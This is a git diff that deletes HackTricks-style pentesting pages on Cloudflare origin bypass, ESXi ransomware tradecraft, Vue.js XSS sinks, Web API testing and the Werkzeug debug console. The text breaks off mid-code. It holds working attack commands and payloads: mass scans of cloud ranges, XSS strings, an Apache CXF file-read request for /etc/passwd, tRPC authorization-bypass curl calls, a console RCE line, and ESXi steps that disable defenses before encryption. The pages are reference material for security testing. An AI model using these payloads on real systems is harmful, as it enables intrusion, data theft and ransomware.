-- [Censys](https://search.censys.io/)
-- [Shodan](https://shodan.io/)
-- [Bypass-firewalls-by-DNS-history](https://github.com/vincentcox/bypass-firewalls-by-DNS-history)
-- If you have a set of potential IPs where the web page is located you could use [https://github.com/hakluke/hakoriginfinder](https://github.com/hakluke/hakoriginfinder)
-
-```bash
-# Install and run CF-Hero with extra data sources enabled
-# API keys are configured in ~/.config/cf-hero.yaml
-
-go install -v github.com/musana/cf-hero/cmd/cf-hero@latest
-cf-hero -f domains.txt -shodan -censys -securitytrails -title "Target title"
-```
-
-### Fast validation of candidate origins
-
-```bash
-TARGET=target.com
-IP=1.2.3.4
-
-# Send the real hostname in SNI + Host and inspect headers/body
-curl -sk --resolve ${TARGET}:443:${IP} https://${TARGET}/ -D - -o /tmp/${TARGET}.body
-
-# Compare the certificate directly exposed by the candidate IP
-openssl s_client -connect ${IP}:443 -servername ${TARGET} </dev/null \
-  | openssl x509 -noout -subject -issuer -ext subjectAltName
-```
-
-```bash
-# You can check if the tool is working with
-prips 1.0.0.0/30 | hakoriginfinder -h one.one.one.one
-
-# If you know the company is using AWS you could use the previous tool to search the
-# web page inside the EC2 IPs
-DOMAIN=something.com
-WIDE_REGION=us
-for ir in `curl https://ip-ranges.amazonaws.com/ip-ranges.json | jq -r '.prefixes[] | select(.service=="EC2") | select(.region|test("^us")) | .ip_prefix'`; do
-    echo "Checking $ir"
-    prips $ir | hakoriginfinder -h "$DOMAIN"
-done
-```
-
-## Uncovering Cloudflare from Cloud infrastructure
-
-Note that even if this was done for AWS machines, it could be done for any other cloud provider.
-
-For a better description of this process check:
-
-{{#ref}}
-https://trickest.com/blog/cloudflare-bypass-discover-ip-addresses-aws/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks
-{{#endref}}
-
-```bash
-# Find open ports
-sudo masscan --max-rate 10000 -p80,443 $(curl -s https://ip-ranges.amazonaws.com/ip-ranges.json | jq -r '.prefixes[] | select(.service=="EC2") | .ip_prefix' | tr '\n' ' ') | grep "open"  > all_open.txt
-# Format results
-cat all_open.txt | sed 's,.*port \(.*\)/tcp on \(.*\),\2:\1,' | tr -d " " > all_open_formated.txt
-# Search actual web pages
-httpx -silent -threads 200 -l all_open_formated.txt -random-agent -follow-redirects -json -no-color -o webs.json
-# Format web results and remove eternal redirects
-cat webs.json | jq -r "select((.failed==false) and (.chain_status_codes | length) < 9) | .url" | sort -u > aws_webs.json
-
-# Search via Host header
-httpx -json -no-color -list aws_webs.json -header Host: cloudflare.malwareworld.com -threads 250 -random-agent -follow-redirects -o web_checks.json
-```
-
-## Bypassing Cloudflare through Cloudflare
-
-### Authenticated Origin Pulls
-
-This mechanism relies on **client** [**SSL certificates**](https://socradar.io/how-to-monitor-your-ssl-certificates-expiration-easily-and-why/) **to authenticate connections** between **Cloudflare’s reverse-proxy** servers and the **origin** server, which is called **mTLS**.
-
-Cloudflare supports **global**, **zone-level**, and **per-hostname** AOP. The important detail for attackers is that **global AOP uses a Cloudflare-provided certificate shared across all Cloudflare accounts**, so it only proves that the request came from the **Cloudflare network**, not from the victim's specific zone.
-
-> [!CAUTION]
-> Therefore, if the victim trusts the **global/shared AOP certificate**, an attacker can just place **their own domain in Cloudflare**, point it to the **victim origin IP**, and send traffic **from Cloudflare to the victim** while bypassing the victim's hostname-specific WAF/bot/rate-limit setup.
-
-This is specially interesting when the target only verifies **"is this request coming from Cloudflare?"** instead of **"is this request coming from my Cloudflare configuration?"**.
-
-### Allowlist Cloudflare IP Addresses
-
-This will **reject connections that do not originate from Cloudflare's** IP address ranges. However, this is vulnerable to the previous setup too: an attacker can **proxy traffic through their own Cloudflare tenant** and still reach the victim from a valid Cloudflare source IP.
-
-If you have the origin IP, test both situations:
-
-- Directly contacting the origin with the victim `Host` header.
-- Reaching the origin **through your own Cloudflare zone/Worker/custom domain** and comparing which protections disappear.
-
-## Cloudflare-managed alternate hostnames
-
-Sometimes you will not discover the origin IP, but you can still reach the application through **Cloudflare-owned hostnames** that the target forgot to disable:
-
-- **Workers**: `<worker>.<account>.workers.dev`
-- **Workers preview URLs**: `<preview>-<worker>.<account>.workers.dev`
-- **Pages**: `<project>.pages.dev`
-
-This does **not** reveal the origin IP, but it can bypass **hostname-specific** WAF, Access, caching, or rate-limit rules that were only tuned for the vanity domain. If you see any of these names leaked in JavaScript, source maps, CSP headers, CI logs, screenshots or public repos, hit them directly and compare the behavior with the main domain.
-
-## Bypass Cloudflare for scraping
-
-### Cache
-
-Sometimes you just want to bypass Cloudflare to only scrape the web page. There are some options for this:
-
-- Use Google cache: `https://webcache.googleusercontent.com/search?q=cache:https://www.petsathome.com/shop/en/pets/dog`
-- Use other cache services such as [https://archive.org/web/](https://archive.org/web/)
-
-### Tools
-
-Some tools like the following ones can bypass (or were able to bypass) Cloudflare's protection against scraping:
-
-- [https://github.com/sarperavci/CloudflareBypassForScraping](https://github.com/sarperavci/CloudflareBypassForScraping)
-
-### Cloudflare Solvers
-
-There have been a number of Cloudflare solvers developed:
-
-- [FlareSolverr](https://github.com/FlareSolverr/FlareSolverr)
-- [cloudscraper](https://github.com/VeNoMouS/cloudscraper) [Guide here](https://scrapeops.io/python-web-scraping-playbook/python-cloudscraper/)
-- [cloudflare-scrape](https://github.com/Anorov/cloudflare-scrape)
-- [CloudflareSolverRe](https://github.com/RyuzakiH/CloudflareSolverRe)
-- [Cloudflare-IUAM-Solver](https://github.com/ninja-beans/cloudflare-iuam-solver)
-- [cloudflare-bypass](https://github.com/devgianlu/cloudflare-bypass) \[Archived]
-- [CloudflareSolverRe](https://github.com/RyuzakiH/CloudflareSolverRe)
-
-### Fortified Headless Browsers <a href="#option-4-scrape-with-fortified-headless-browsers" id="option-4-scrape-with-fortified-headless-browsers"></a>
-
-Use a headless browser that isn't detected as an automated browser (you might need to customize it for that). Some options are:
-
-- **Puppeteer:** The [stealth plugin](https://github.com/berstend/puppeteer-extra/tree/master/packages/puppeteer-extra-plugin-stealth) for [puppeteer](https://github.com/puppeteer/puppeteer).
-- **Playwright:** The [stealth plugin](https://www.npmjs.com/package/playwright-stealth) is coming to Playwright soon. Follow developments [here](https://github.com/berstend/puppeteer-extra/issues/454) and [here](https://github.com/berstend/puppeteer-extra/tree/master/packages/playwright-extra).
-- **Selenium:** [SeleniumBase](https://github.com/seleniumbase/SeleniumBase) is a modern browser automation framework featuring built-in stealth capabilities. It offers two modes: **UC Mode**, an optimized Selenium ChromeDriver patch based on [undetected-chromedriver](https://github.com/ultrafunkamsterdam/undetected-chromedriver), and **CDP Mode**, which can bypass bot detection, solve CAPTCHAs, and leverage advanced methods from the Chrome DevTools Protocol.
-  
-### Smart Proxy With Cloudflare Built-In Bypass <a href="#option-5-scrape-with-fortified-headless-browsers" id="option-5-smart-proxy-with-cloudflare-built-in-bypass"></a>
-
-**Smart proxies** proxies are continuously updated by specialized companies, aiming to outmaneuver Cloudflare's security measures (as thats their business).
-
-Som of them are:
-
-- [ScraperAPI](https://www.scraperapi.com/?fp_ref=scrapeops)
-- [Scrapingbee](https://www.scrapingbee.com/?fpr=scrapeops)
-- [Oxylabs](https://oxylabs.go2cloud.org/aff_c?offer_id=7&aff_id=379&url_id=32)
-- [Smartproxy](https://prf.hn/click/camref:1100loxdG/[p_id:1100l442001]/destination:https%3A%2F%2Fsmartproxy.com%2Fscraping%2Fweb) are noted for their proprietary Cloudflare bypass mechanisms.
-
-For those seeking an optimized solution, the [ScrapeOps Proxy Aggregator](https://scrapeops.io/proxy-aggregator/) stands out. This service integrates over 20 proxy providers into a single API, automatically selecting the best and most cost-effective proxy for your target domains, thus offering a superior option for navigating Cloudflare's defenses.
-
-### Reverse Engineer Cloudflare Anti-Bot Protection <a href="#option-6-reverse-engineer-cloudflare-anti-bot-protection" id="option-6-reverse-engineer-cloudflare-anti-bot-protection"></a>
-
-Reverse engineering Cloudflare's anti-bot measures is a tactic used by smart proxy providers, suitable for extensive web scraping without the high cost of running many headless browsers.
-
-**Advantages:** This method allows for the creation of an extremely efficient bypass that specifically targets Cloudflare's checks, ideal for large-scale operations.
-
-**Disadvantages:** The downside is the complexity involved in understanding and deceiving Cloudflare's deliberately obscure anti-bot system, requiring ongoing effort to test different strategies and update the bypass as Cloudflare enhances its protections.
-
-Find more info about how to do this in the [original article](https://scrapeops.io/web-scraping-playbook/how-to-bypass-cloudflare/).
-
-## References
-
-- [Cloudflare Docs - Protect your origin server](https://developers.cloudflare.com/fundamentals/security/protect-your-origin-server/)
-- [Using Cloudflare to bypass Cloudflare](https://certitude.consulting/blog/en/using-cloudflare-to-bypass-cloudflare/)
-
-{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/network-services-pentesting/pentesting-web/vmware-esx-vcenter....md b/src/network-services-pentesting/pentesting-web/vmware-esx-vcenter....md
deleted file mode 100644
index 5167d14dfc9..00000000000
--- a/src/network-services-pentesting/pentesting-web/vmware-esx-vcenter....md
+++ /dev/null
@@ -1,102 +0,0 @@
-# VMware ESX / vCenter Pentesting
-
-{{#include ../../banners/hacktricks-training.md}}
-
-
-## Enumeration
-
-```bash
-nmap -sV --script "http-vmware-path-vuln or vmware-version" -p <PORT> <IP>
-msf> use auxiliary/scanner/vmware/esx_fingerprint
-msf> use auxiliary/scanner/http/ms15_034_http_sys_memory_dump
-```
-
-## Bruteforce
-
-```bash
-msf> auxiliary/scanner/vmware/vmware_http_login
-```
-
-If you find valid credentials, you can use more metasploit scanner modules to obtain information.
-
-## ESXi Post-Exploitation & Ransomware Operations
-
-### Attack Workflow inside Virtual Estates
-
-* **Develop**: maintain a lightweight management agent (e.g., *MrAgent*), encryptor (e.g., *Mario*), and leak infrastructure.
-* **Infiltrate**: compromise vSphere management, enumerate hosts, steal data, and stage payloads.
-* **Deploy**: push agents to each ESXi host, let them poll C2, and pull the encryptor when instructed.
-* **Extort**: leak proof-of-compromise data and run ransom chats once encryption is confirmed.
-
-### Hypervisor Takeover Primitives
-
-Once command execution on an ESXi console/SSH session is obtained, attackers typically run the following management commands to fingerprint and isolate the host before ransomware deployment:
-
-```bash
-uname -a                                   # hostname / build metadata for tracking
-esxcli --formatter=csv network nic list    # adapter + MAC inventory
-esxcli --formatter=csv network ip interface ipv4 get
-esxcli network firewall set --enabled false
-/etc/init.d/vpxa stop                      # cut vCenter off from the host
-passwd root                                # rotate credentials under attacker control
-```
-
-The same agent usually keeps a persistent loop that polls a hard-coded C2 URI. Any unreachable status triggers retries, meaning the beacon stays live until operators push instructions.
-
-### MrAgent-Style Instruction Channel
-
-Lightweight management agents expose a concise instruction set parsed from the C2 queue. That set is enough to operate dozens of compromised hypervisors without interactive shells:
-
-| Instruction | Effect |
-| --- | --- |
-| `Config` | Overwrite the local JSON config that defines target directories, execution delays or throttling, enabling hot re-tasking without redeploying binaries. |
-| `Info` | Return hypervisor build info, IPs and adapter metadata gathered with the `uname`/`esxcli` probes. |
-| `Exec` | Kick off the ransomware phase: change `root` credentials, stop `vpxa`, optionally schedule a reboot delay and then pull+execute the encryptor. |
-| `Run` | Implement a remote shell by writing arbitrary C2-provided commands to `./shmv`, chmod +x and execute it. |
-| `Remove` | Issue `rm -rf <path>` for tool clean-up or destructive wiping. |
-| `Abort` / `Abort_f` | Stop queued encryptions or kill running worker threads if the operator wants to pause post-reboot actions. |
-| `Quit` | Terminate the agent and `rm -f` its binary for fast self-removal. |
-| `Welcome` | Abuse `esxcli system welcomemesg set -m="text"` to display ransom notices right in the console banner. |
-
-Internally these agents keep two mutex-protected JSON blobs (runtime config + status/telemetry) so that concurrent threads (e.g. beaconing + encryption workers) do not corrupt shared state. Samples are commonly padded with junk code to slow shallow static analysis but the core routines remain intact.
-
-### Virtualization & Backup-Aware Targeting
-
-Mario-like encryptors only traverse operator-supplied directory roots and touch virtualization artefacts that matter for business continuity:
-
-| Extension | Target |
-| --- | --- |
-| `vmdk`, `vmem`, `vmsd`, `vmsn`, `vswp` | VM disks, memory snapshots and swap backing files. |
-| `ova`, `ovf` | Portable VM appliance bundles/metadata. |
-| `vib` | ESXi installation bundles that can block remediation/patching. |
-| `vbk`, `vbm` | Veeam VM backups + metadata to sabotage on-box restores. |
-
-Operational quirks:
-
-* Every visited directory receives `How To Restore Your Files.txt` before encryption to ensure ransom channels are advertised even on disconnected hosts.
-* Already processed files are skipped when their names contain `.emario`, `.marion`, `.lmario`, `.nmario`, `.mmario` or `.wmario`, preventing double encryption that would break the attackers' decryptor.
-* Encrypted payloads are renamed with a `*.mario`-style suffix (commonly `.emario`) so operators can verify coverage remotely in consoles or datastore listings.
-
-### Layered Encryption Upgrades
-
-Recent Mario builds replace the original linear, single-key routine with a sparse, multi-key design optimised for multi-hundred-gigabyte VMDKs:
-
-* **Key schedule**: Generate a 32-byte primary key (stored around `var_1150`) and an independent 8-byte secondary key (`var_20`). Data is first transformed with the primary context and then re-mixed with the secondary key before disk writes.
-* **Per-file headers**: Metadata buffers (e.g. `var_40`) track chunk maps and flags so the attackers' private decryptor can reconstruct the sparse layout.
-* **Dynamic chunking**: Instead of a constant `0xA00000` loop, chunk size and offsets are recomputed based on file size, with thresholds extended up to ~8 GB to match modern VM images.
-* **Sparse coverage**: Only strategically chosen regions are touched, dramatically reducing runtime while still corrupting VMFS metadata, NTFS/EXT4 structures inside the guest or backup indexes.
-* **Instrumentation**: Upgraded builds log per-chunk byte counts and totals (encrypted/skipped/failed) to stdout, giving affiliates telemetry during live intrusions without extra tooling.
-
-### See also
-
-Linux LPE via VMware Tools service discovery (CWE-426 / CVE-2025-41244):
-
-{{#ref}}
-../../linux-hardening/main-system-information/kernel-lpe-cves/vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md
-{{#endref}}
-
-## References
-
-- [Unit 42 – From Linear to Complex: An Upgrade in RansomHouse Encryption](https://unit42.paloaltonetworks.com/ransomhouse-encryption-upgrade/)
-
-{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/network-services-pentesting/pentesting-web/vuejs.md b/src/network-services-pentesting/pentesting-web/vuejs.md
deleted file mode 100644
index 72ee9430df7..00000000000
--- a/src/network-services-pentesting/pentesting-web/vuejs.md
+++ /dev/null
@@ -1,154 +0,0 @@
-# Vue.js
-
-{{#include ../../banners/hacktricks-training.md}}
-
-## XSS Sinks in Vue.js
-
-### v-html Directive
-The `v-html` directive renders **raw** HTML, so any `<script>` (or an attribute like `onerror`) embedded in unsanitised user input executes immediately.
-
-```html
-<div id="app">
-  <div v-html="htmlContent"></div>
-</div>
-<script>
-  new Vue({
-    el: '#app',
-    data: {
-      htmlContent: '<img src=x onerror=alert(1)>'
-    }
-  })
-</script>
-```
-
-### v-bind with src or href
-Binding a user string to URL-bearing attributes (`href`, `src`, `xlink:href`, `formaction` …) lets payloads such as `javascript:alert(1)` run when the link is followed.
-
-```html
-<div id="app">
-  <a v-bind:href="userInput">Click me</a>
-</div>
-<script>
-  new Vue({
-    el: '#app',
-    data: {
-      userInput: 'javascript:alert(1)'
-    }
-  })
-</script>
-```
-
-### v-on with user-controlled handlers
-`v-on` compiles its value with `new Function`; if that value comes from the user, you hand them code-execution on a plate.
-
-```html
-<div id="app">
-  <button v-on:click="malicious">Click me</button>
-</div>
-<script>
-  new Vue({
-    el: '#app',
-    data: { malicious: 'alert(1)' }
-  })
-</script>
-```
-
-### Dynamic attribute / event names
-User-supplied names in `v-bind:[attr]` or `v-on:[event]` let attackers create any attribute or event handler, bypassing static analysis and many CSP rules.
-
-```html
-<img v-bind:[userAttr]="payload">
-<!-- userAttr = 'onerror', payload = 'alert(1)' -->
-```
-
-### Dynamic component (`<component :is>`)
-Allowing user strings in `:is` can mount arbitrary components or inline templates—dangerous in the browser and catastrophic in SSR.
-
-```html
-<component :is="userChoice"></component>
-<!-- userChoice = '<script>alert(1)</script>' -->
-```
-
-### Untrusted templates in SSR
-During server-side rendering, the template runs **on your server**; injecting user HTML can escalate XSS to full Remote Code Execution (RCE). CVEs in `vue-template-compiler` prove the risk.
-
-```js
-// DANGER – never do this
-const app = createSSRApp({ template: userProvidedHtml })
-```
-
-### Filters / render functions that eval
-Legacy filters that build render strings or call `eval`/`new Function` on user data are another XSS vector—replace them with computed properties.
-
-```js
-Vue.filter('run', code => eval(code))   // DANGER
-```
-
----
-
-## Other Common Vulnerabilities in Vue Projects
-
-### Prototype pollution in plugins
-Deep-merge helpers in some plugins (e.g., **vue-i18n**) have allowed attackers to write to `Object.prototype`.
-
-```js
-import merge from 'deepmerge'
-merge({}, JSON.parse('{ "__proto__": { "polluted": true } }'))
-```
-
-### Open redirects with vue-router
-Passing unchecked user URLs to `router.push` or `<router-link>` can redirect to `javascript:` URIs or phishing domains.
-
-```js
-this.$router.push(this.$route.query.next) // DANGER
-```
-
-### CSRF in Axios / fetch
-SPAs still need server-side CSRF tokens; SameSite cookies alone can’t block auto-submitted cross-origin POSTs.
-
-```js
-axios.post('/api/transfer', data, {
-  headers: { 'X-CSRF-TOKEN': token }
-})
-```
-
-### Click-jacking
-Vue apps are frameable unless you send both `X-Frame-Options: DENY` and `Content-Security-Policy: frame-ancestors 'none'`.
-
-```http
-X-Frame-Options: DENY
-Content-Security-Policy: frame-ancestors 'none';
-```
-
-### Content-Security-Policy pitfalls
-The full Vue build needs `unsafe-eval`; switch to the runtime build or pre-compiled templates so you can drop that dangerous source.
-
-```http
-Content-Security-Policy: default-src 'self'; script-src 'self';
-```
-
-### Supply-chain attacks (node-ipc – March 2022)
-The sabotage of **node-ipc**—pulled by Vue CLI—showed how a transitive dependency can run arbitrary code on dev machines. Pin versions and audit often.
-
-```shell
-npm ci --ignore-scripts   # safer install
-```
-
----
-
-## Hardening Checklist
-
-1. **Sanitise** every string before it hits `v-html` (DOMPurify).
-2. **Whitelist** allowed schemes, attributes, components, and events.
-3. **Avoid `eval`** and dynamic templates altogether.
-4. **Patch dependencies weekly** and monitor advisories.
-5. **Send strong HTTP headers** (CSP, HSTS, XFO, CSRF).
-6. **Lock your supply chain** with audits, lockfiles, and signed commits.
-
-## References
-
-- [https://www.stackhawk.com/blog/vue-xss-guide-examples-and-prevention/](https://www.stackhawk.com/blog/vue-xss-guide-examples-and-prevention/)
-- [https://medium.com/@isaacwangethi30/vue-js-security-6e246a7613da](https://medium.com/@isaacwangethi30/vue-js-security-6e246a7613da)
-- [https://vuejs.org/guide/best-practices/security](https://vuejs.org/guide/best-practices/security)
-
-{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/network-services-pentesting/pentesting-web/web-api-pentesting.md b/src/network-services-pentesting/pentesting-web/web-api-pentesting.md
deleted file mode 100644
index 118f20cccf3..00000000000
--- a/src/network-services-pentesting/pentesting-web/web-api-pentesting.md
+++ /dev/null
@@ -1,153 +0,0 @@
-# Web API Pentesting
-
-{{#include ../../banners/hacktricks-training.md}}
-
-## API Pentesting Methodology Summary
-
-Pentesting APIs involves a structured approach to uncovering vulnerabilities. This guide encapsulates a comprehensive methodology, emphasizing practical techniques and tools.
-
-### **Understanding API Types**
-
-- **SOAP/XML Web Services**: Utilize the WSDL format for documentation, typically found at `?wsdl` paths. Tools like **SOAPUI** and **WSDLer** (Burp Suite Extension) are instrumental for parsing and generating requests. Example documentation is accessible at [DNE Online](http://www.dneonline.com/calculator.asmx).
-- **REST APIs (JSON)**: Documentation often comes in WADL files, yet tools like [Swagger UI](https://swagger.io/tools/swagger-ui/) provide a more user-friendly interface for interaction. **Postman** is a valuable tool for creating and managing example requests.
-- **GraphQL**: A query language for APIs offering a complete and understandable description of the data in your API.
-
-### **Practice Labs**
-
-- [**VAmPI**](https://github.com/erev0s/VAmPI): A deliberately vulnerable API for hands-on practice, covering the OWASP top 10 API vulnerabilities.
-
-### **Effective Tricks for API Pentesting**
-
-- **SOAP/XML Vulnerabilities**: Explore XXE vulnerabilities, although DTD declarations are often restricted. CDATA tags may allow payload insertion if the XML remains valid.
-- **Privilege Escalation**: Test endpoints with varying privilege levels to identify unauthorized access possibilities.
-- **CORS Misconfigurations**: Investigate CORS settings for potential exploitability through CSRF attacks from authenticated sessions.
-- **Endpoint Discovery**: Leverage API patterns to discover hidden endpoints. Tools like fuzzers can automate this process.
-- **Parameter Tampering**: Experiment with adding or replacing parameters in requests to access unauthorized data or functionalities.
-- **HTTP Method Testing**: Vary request methods (GET, POST, PUT, DELETE, PATCH) to uncover unexpected behaviors or information disclosures.
-- **Content-Type Manipulation**: Switch between different content types (x-www-form-urlencoded, application/xml, application/json) to test for parsing issues or vulnerabilities.
-- **Advanced Parameter Techniques**: Test with unexpected data types in JSON payloads or play with XML data for XXE injections. Also, try parameter pollution and wildcard characters for broader testing.
-- **Version Testing**: Older API versions might be more susceptible to attacks. Always check for and test against multiple API versions.
-
-### Apache CXF MTOM/XOP `xop:Include` as file-read / SSRF primitive
-
-If a SOAP service uses **Apache CXF** with **MTOM/XOP** enabled, test whether a parameter accepts an inline `xop:Include` element inside a **`multipart/related`** request whose root part is **`application/xop+xml`**. Apache's advisory for **CVE-2022-46364** states vulnerable versions parse the `href` of `XOP:Include` in MTOM requests and can perform SSRF-style fetches.
-
-Why this matters in practice:
-
-- Many testers try only plain `text/xml` SOAP bodies and miss that the vulnerable code path is reached only after switching to **MIME multipart + XOP**.
-- If the application **reflects** the affected parameter in the SOAP response, the SSRF primitive can become **arbitrary local file read** by using `file://`.
-- Even without reflection, `http://`/`https://` targets can still be useful for **blind SSRF** against internal services.
-
-Minimal structure to adapt to the target operation:
-
-```http
-POST /service HTTP/1.1
-Content-Type: multipart/related; type="application/xop+xml"; start="<root.message@cxf.apache.org>"; boundary="MIME_boundary"
-
---MIME_boundary
-Content-Type: application/xop+xml; charset=UTF-8; type="text/xml"
-Content-ID: <root.message@cxf.apache.org>
-
-<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
-               xmlns:xop="http://www.w3.org/2004/08/xop/include">
-  <soap:Body>
-    <ns:OPERATION xmlns:ns="http://target/">
-      <ns:PARAM><xop:Include href="file:///etc/passwd"/></ns:PARAM>
-    </ns:OPERATION>
-  </soap:Body>
-</soap:Envelope>
---MIME_boundary--
-```
-
-Practical triage:
-
-1. Identify CXF version from the JAR, error pages, banners, or decompiled service artifacts.
-2. Generate a valid SOAP request first (`?wsdl`, SoapUI, Burp WSDLer, traced client, decompiled stubs).
-3. Convert the request to **`multipart/related`** and replace a parameter value with `xop:Include`.
-4. Test `file:///etc/passwd` for reflection-based reads and `http://<collaborator>` for SSRF.
-
-After obtaining local file read, high-value targets often include:
-
-- **systemd units** in `/etc/systemd/system/` and `/lib/systemd/system/` for `ExecStart=`, `EnvironmentFile=`, usernames, bind addresses, and credentials passed on the command line
-- **`/proc/<pid>/cmdline`** to recover full launch arguments of interesting services
-- **`/proc/<pid>/environ`** to recover secrets injected as environment variables
-- service-specific config, env, or wrapper scripts referenced by the unit file
-
-### Authorization & Business Logic (AuthN != AuthZ) — tRPC/Zod protectedProcedure pitfalls
-
-Modern TypeScript stacks commonly use tRPC with Zod for input validation. In tRPC, `protectedProcedure` typically ensures the request has a valid session (authentication) but does not imply the caller has the right role/permissions (authorization). This mismatch leads to Broken Function Level Authorization/BOLA if sensitive procedures are only gated by `protectedProcedure`.
-
-- Threat model: Any low-privileged authenticated user can call admin-grade procedures if role checks are missing (e.g., background migrations, feature flags, tenant-wide maintenance, job control).
-- Black-box signal: `POST /api/trpc/<router>.<procedure>` endpoints that succeed for basic accounts when they should be admin-only. Self-serve signups drastically increase exploitability.
-- Typical tRPC route shape (v10+): JSON body wrapped under `{"input": {...}}`.
-
-Example vulnerable pattern (no role/permission gate):
-
-```ts
-// The endpoint for retrying a migration job
-// This checks for a valid session (authentication)
-retry: protectedProcedure
-  // but not for an admin role (authorization).
-  .input(z.object({ name: z.string() }))
-  .mutation(async ({ input, ctx }) => {
-    // Logic to restart a sensitive migration
-  }),
-```
-
-Practical exploitation (black-box)
-
-1) Register a normal account and obtain an authenticated session (cookies/headers).
-2) Enumerate background jobs or other sensitive resources via “list”/“all”/“status” procedures.
-
-```bash
-curl -s -X POST 'https://<tenant>/api/trpc/backgroundMigrations.all' \
-  -H 'Content-Type: application/json' \
-  -b '<AUTH_COOKIES>' \
-  --data '{"input":{}}'
-```
-
-3) Invoke privileged actions such as restarting a job:
-
-```bash
-curl -s -X POST 'https://<tenant>/api/trpc/backgroundMigrations.retry' \
-  -H 'Content-Type: application/json' \
-  -b '<AUTH_COOKIES>' \
-  --data '{"input":{"name":"<migration_name>"}}'
-```
-
-Impact to assess
-
-- Data corruption via non-idempotent restarts: Forcing concurrent runs of migrations/workers can create race conditions and inconsistent partial states (silent data loss, broken analytics).
-- DoS via worker/DB starvation: Repeatedly triggering heavy jobs can exhaust worker pools and database connections, causing tenant-wide outages.
-
-### **Tools and Resources for API Pentesting**
-
-- [**kiterunner**](https://github.com/assetnote/kiterunner): Excellent for discovering API endpoints. Use it to scan and brute force paths and parameters against target APIs.
-
-```bash
-kr scan https://domain.com/api/ -w routes-large.kite -x 20
-kr scan https://domain.com/api/ -A=apiroutes-220828 -x 20
-kr brute https://domain.com/api/ -A=raft-large-words -x 20 -d=0
-kr brute https://domain.com/api/ -w /tmp/lang-english.txt -x 20 -d=0
-```
-
-- [**https://github.com/BishopFox/sj**](https://github.com/BishopFox/sj): sj is a command line tool designed to assist with auditing of **exposed Swagger/OpenAPI definition files** by checking the associated API endpoints for weak authentication. It also provides command templates for manual vulnerability testing.
-- Additional tools like **automatic-api-attack-tool**, **Astra**, and **restler-fuzzer** offer tailored functionalities for API security testing, ranging from attack simulation to fuzzing and vulnerability scanning.
-- [**Cherrybomb**](https://github.com/blst-security/cherrybomb): It's an API security tool that audit your API based on an OAS file(the tool written in rust).
-
-### **Learning and Practice Resources**
-
-- **OWASP API Security Top 10**: Essential reading for understanding common API vulnerabilities ([OWASP Top 10](https://github.com/OWASP/API-Security/blob/master/2019/en/dist/owasp-api-security-top-10.pdf)).
-- **API Security Checklist**: A comprehensive checklist for securing APIs ([GitHub link](https://github.com/shieldfy/API-Security-Checklist)).
-- **Logger++ Filters**: For hunting API vulnerabilities, Logger++ offers useful filters ([GitHub link](https://github.com/bnematzadeh/LoggerPlusPlus-API-Filters)).
-- **API Endpoints List**: A curated list of potential API endpoints for testing purposes ([GitHub gist](https://gist.github.com/yassineaboukir/8e12adefbd505ef704674ad6ad48743d)).
-
-## References
-
-- [https://github.com/Cyber-Guy1/API-SecurityEmpire](https://github.com/Cyber-Guy1/API-SecurityEmpire)
-- [How An Authorization Flaw Reveals A Common Security Blind Spot: CVE-2025-59305 Case Study](https://www.depthfirst.com/post/how-an-authorization-flaw-reveals-a-common-security-blind-spot-cve-2025-59305-case-study)
-- [Apache CXF advisory for CVE-2022-46364](https://cxf.apache.org/security-advisories.data/CVE-2022-46364.txt)
-- [Apache CXF security advisories](https://cxf.apache.org/security-advisories.html)
-- [0xdf - HTB DevArea](https://0xdf.gitlab.io/2026/07/04/htb-devarea.html)
-
-{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/network-services-pentesting/pentesting-web/werkzeug.md b/src/network-services-pentesting/pentesting-web/werkzeug.md
deleted file mode 100644
index d1f4fa03898..00000000000
--- a/src/network-services-pentesting/pentesting-web/werkzeug.md
+++ /dev/null
@@ -1,176 +0,0 @@
-# Werkzeug / Flask Debug
-
-{{#include ../../banners/hacktricks-training.md}}
-
-## Console RCE
-
-If debug is active you could try to access to `/console` and gain RCE.
-
-```python
-__import__('os').popen('whoami').read();
-```
-
-![Werkzeug / Flask Debug - Console RCE: import ('os').popen('whoami').read();](<../../images/image (117).png>)
-
-There is also several exploits on the internet like [this ](https://github.com/its-arun/Werkzeug-Debug-RCE)or one in metasploit.
-
-## Pin Protected - Path Traversal
-
-In some occasions the **`/console`** endpoint is going to be protected by a pin. If you have a **file traversal vulnerability**, you can leak all the necessary info to generate that pin.
-
-### Werkzeug Console PIN Exploit
-
-Force a debug error page in the app to see this:
-
-```
-The console is locked and needs to be unlocked by entering the PIN.
-You can find the PIN printed out on the standard output of your
-shell that runs the server
-```
-
-A message regarding the "console locked" scenario is encountered when attempting to access Werkzeug's debug interface, indicating a requirement for a PIN to unlock the console. The suggestion is made to exploit the console PIN by analyzing the PIN generation algorithm in Werkzeug’s debug initialization file (`__init__.py`). The PIN generation mechanism can be studied from the [**Werkzeug source code repository**](https://github.com/pallets/werkzeug/blob/master/src/werkzeug/debug/__init__.py), though it is advised to procure the actual server code via a file traversal vulnerability due to potential version discrepancies.
-
-To exploit the console PIN, two sets of variables, `probably_public_bits` and `private_bits`, are needed:
-
-#### **`probably_public_bits`**
-
-- **`username`**: Refers to the user who initiated the Flask session.
-- **`modname`**: Typically designated as `flask.app`.
-- **`getattr(app, '__name__', getattr(app.__class__, '__name__'))`**: Generally resolves to **Flask**.
-- **`getattr(mod, '__file__', None)`**: Represents the full path to `app.py` within the Flask directory (e.g., `/usr/local/lib/python3.5/dist-packages/flask/app.py`). If `app.py` is not applicable, **try `app.pyc`**.
-
-#### **`private_bits`**
-
-- **`uuid.getnode()`**: Fetches the MAC address of the current machine, with `str(uuid.getnode())` translating it into a decimal format.
-
-  - To **determine the server's MAC address**, one must identify the active network interface used by the app (e.g., `ens3`). In cases of uncertainty, **leak `/proc/net/arp`** to find the device ID, then **extract the MAC address** from **`/sys/class/net/<device id>/address`**.
-  - Conversion of a hexadecimal MAC address to decimal can be performed as shown below:
-
-    ```python
-    # Example MAC address: 56:00:02:7a:23:ac
-    >>> print(0x5600027a23ac)
-    94558041547692
-    ```
-
-- **`get_machine_id()`**: Concatenates data from `/etc/machine-id` or `/proc/sys/kernel/random/boot_id` with the first line of `/proc/self/cgroup` post the last slash (`/`).
-
-<details>
-
-<summary>Code for `get_machine_id()`</summary>
-
-```python
-def get_machine_id() -> t.Optional[t.Union[str, bytes]]:
